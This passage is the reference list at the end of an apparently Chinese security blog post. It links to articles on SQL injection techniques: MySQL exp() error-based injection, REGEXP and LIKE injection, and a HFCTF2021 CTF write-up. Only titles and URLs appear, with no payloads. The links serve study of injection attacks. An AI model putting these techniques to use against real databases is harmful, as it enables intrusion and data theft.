如何使用 MySQL exp() 函数进行 Sql 注入: https://xz.aliyun.com/t/9849#toc-3
[3]
SQL 显错注入: https://lorexxar.cn/2015/11/19/sql-error/#more
[4]
2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤: https://blog.csdn.net/m0_55793759/article/details/127078074
[5]
[HFCTF2021]hatenum: https://blog.z3ratu1.top/[HFCTF2021]hatenum.html
[6]
REGEXP注入与LIKE注入学习笔记: https://xz.aliyun.com/t/8003#toc-7
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论